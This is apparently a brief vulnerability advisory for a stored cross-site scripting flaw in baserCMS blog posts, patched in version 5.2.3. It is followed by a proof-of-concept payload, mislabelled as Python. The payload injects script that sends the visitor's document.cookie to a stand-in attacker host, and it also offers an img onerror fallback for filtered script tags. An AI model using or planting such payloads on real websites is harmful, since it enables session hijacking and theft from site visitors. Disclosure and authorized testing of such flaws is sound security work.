baserCMS is a website development framework. Prior to version 5.2.3, baserCMS has a cross-site scripting vulnerability in blog posts. This issue has been patched in version 5.2.3.
The following code is for security research and authorized testing only.
python
<!-- PoC for baserCMS Blog Post XSS -->
<!-- Attacker injects the following payload into the blog post content -->
<script>
// Demonstrate execution
alert('XSS Vulnerability CVE-2026-30879');
// Exfiltrate document cookie to an external server controlled by attacker
var img = new Image();
img.src = "http://attacker-server.com/steal?c=" + encodeURIComponent(document.cookie);
document.body.appendChild(img);
</script>
<!-- Alternative payload using img tag if script tags are filtered -->
<img src=x onerror=alert('XSS')>